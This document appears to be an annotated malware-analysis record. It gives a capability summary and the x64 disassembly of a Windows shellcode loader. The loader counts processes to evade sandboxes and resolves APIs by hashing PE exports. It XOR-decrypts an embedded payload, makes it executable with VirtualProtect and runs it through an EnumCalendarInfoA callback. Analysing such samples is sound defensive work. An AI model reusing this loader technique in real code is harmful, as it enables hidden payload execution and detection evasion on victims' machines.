Function at 0x140001110
Capabilities:
Encode data using xor
Enumerate processes
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2c8
mov rax, qword [0x140050040]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Hello_World__n
call fcn.140001530
xor esi, esi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
lea rbx, [rsp + 0x80]
mov r8d, 0x238
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x80], 0x238
mov rcx, rdi
mov rdx, rbx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001312
mov ebx, 0xffffffff
lea rsi, [rsp + 0x80]
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
call sub.KERNEL32.dll_Process32NextW
inc ebx
test eax, eax
jne 0x1400011a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp ebx, 0x4f
jb 0x14000131b
call fcn.140001000
test eax, eax
je 0x14000131b
mov word [rsp + 0x3e], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 3
xor esi, esi
lea rcx, [rsp + 0x3e]
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000131b
mov rax, qword gs:[0x30]
test rax, rax
je 0x14000131b
mov rdi, qword [rax + 0x60]
test rdi, rdi
je 0x14000131b
cmp dword [rdi + 0x118], 0xa
jne 0x14000131b
mov rax, qword [rdi + 0x18]
mov rax, qword [rax + 0x20]
mov rbx, qword [rax]
mov rcx, qword [rbx + 0x50]
lea rdx, [0x1400031ec]
mov r8d, 0xc
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
test eax, eax
je 0x1400012a1
mov rax, qword [rdi + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x50]
lea rdx, [0x1400031ec]
mov r8d, 0xc
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
test eax, eax
jne 0x14000131b
mov rax, qword [rdi + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rbx, qword [rax]
mov rdi, qword [rbx + 0x20]
test rdi, rdi
je 0x14000131b
movzx eax, word [rdi]
mov esi, 1
cmp eax, 0x5a4d
jne 0x14000131b
movsxd rax, dword [rdi + 0x3c]
cmp dword [rdi + rax], 0x4550
jne 0x14000131b
mov r8d, dword [rdi + rax + 0x88]
mov eax, dword [rdi + r8 + 0x18]
test eax, eax
je 0x14000139a
mov ecx, dword [rdi + r8 + 0x1c]
add rcx, rdi
mov edx, dword [rdi + r8 + 0x20]
add rdx, rdi
mov r8d, dword [rdi + r8 + 0x24]
add r8, rdi
lea r9, [rdi + 1]
xor r14d, r14d
movabs r10, 0x7734773477347734
movabs r11, 0x7e5c872c2386c38e
xor esi, esi
jmp 0x14000134a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.140001950
mov eax, esi
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
inc esi
movzx ebx, si
cmp eax, ebx
jbe 0x14000139d
movzx ebx, si
mov r15d, dword [rdx + rbx*4]
movzx ebp, byte [rdi + r15]
test bpl, bpl
je 0x140001341
movzx ebx, word [r8 + rbx*2]
mov ebx, dword [rcx + rbx*4]
add r15, r9
mov r12, r10
nop dword [rax]
mov r13, r12
shl r13, 5
add r13, r12
movzx r12d, bpl
add r12, r13
movzx ebp, byte [r15]
inc r15
test bpl, bpl
jne 0x140001370
cmp r12, r11
jne 0x140001341
add rbx, rdi
mov r14, rbx
jmp 0x140001341
xor r14d, r14d
movabs rax, 0x41797261726269
mov qword [rsp + 0x75], rax
movabs rax, 0x7262694c64616f4c
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
mov rcx, rdi
call r14
movabs rcx, 0x6c6c642e7364
mov qword [rsp + 0x66], rcx
movabs rcx, 0x7364657669746361
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x60]
call rax
movabs rcx, 0x6d654d734441
mov qword [rsp + 0x57], rcx
movabs rcx, 0x41636f6c6c616552
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
mov rcx, rax
call r14
mov rsi, rax
movaps xmm0, xmmword [str.VirtualProtect]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call r14
mov rbx, rax
movaps xmm0, xmmword [str.EnumCalendarInfoA]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x8f], 0x416f
lea rdx, [rsp + 0x80]
mov rcx, rdi
call r14
mov rdi, rax
xor ecx, ecx
mov edx, 0x4b035
mov r8d, 0x4b035
call rsi
mov r14, rax
mov eax, 3
lea rcx, section..data
movzx edx, byte [0x140050038]
lock xor byte [rax + rcx - 3], dl
movzx edx, byte [0x140050038]
lock xor byte [rax + rcx - 2], dl
movzx edx, byte [0x140050038]
lock xor byte [rax + rcx - 1], dl
movzx edx, byte [0x140050038]
lock xor byte [rax + rcx], dl
add rax, 4
cmp rax, 0x4b037
jne 0x14000147a
lea rdx, section..data
mov r8d, 0x4b035
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.4a_n
lea r8, [0x1400031c0]
xor esi, esi
xor ecx, ecx
mov r9d, 0x40000
call qword [sym.imp.USER32.dll_MessageBoxA]
lea r9, [rsp + 0x38]
mov edx, 0x4b035
mov rcx, r14
mov r8d, 0x40
call rbx
cmp eax, 1
jne 0x14000131b
mov rcx, r14
mov edx, 0x800
mov r8d, 0xffffffff
mov r9d, 1
call rdi
jmp 0x14000131b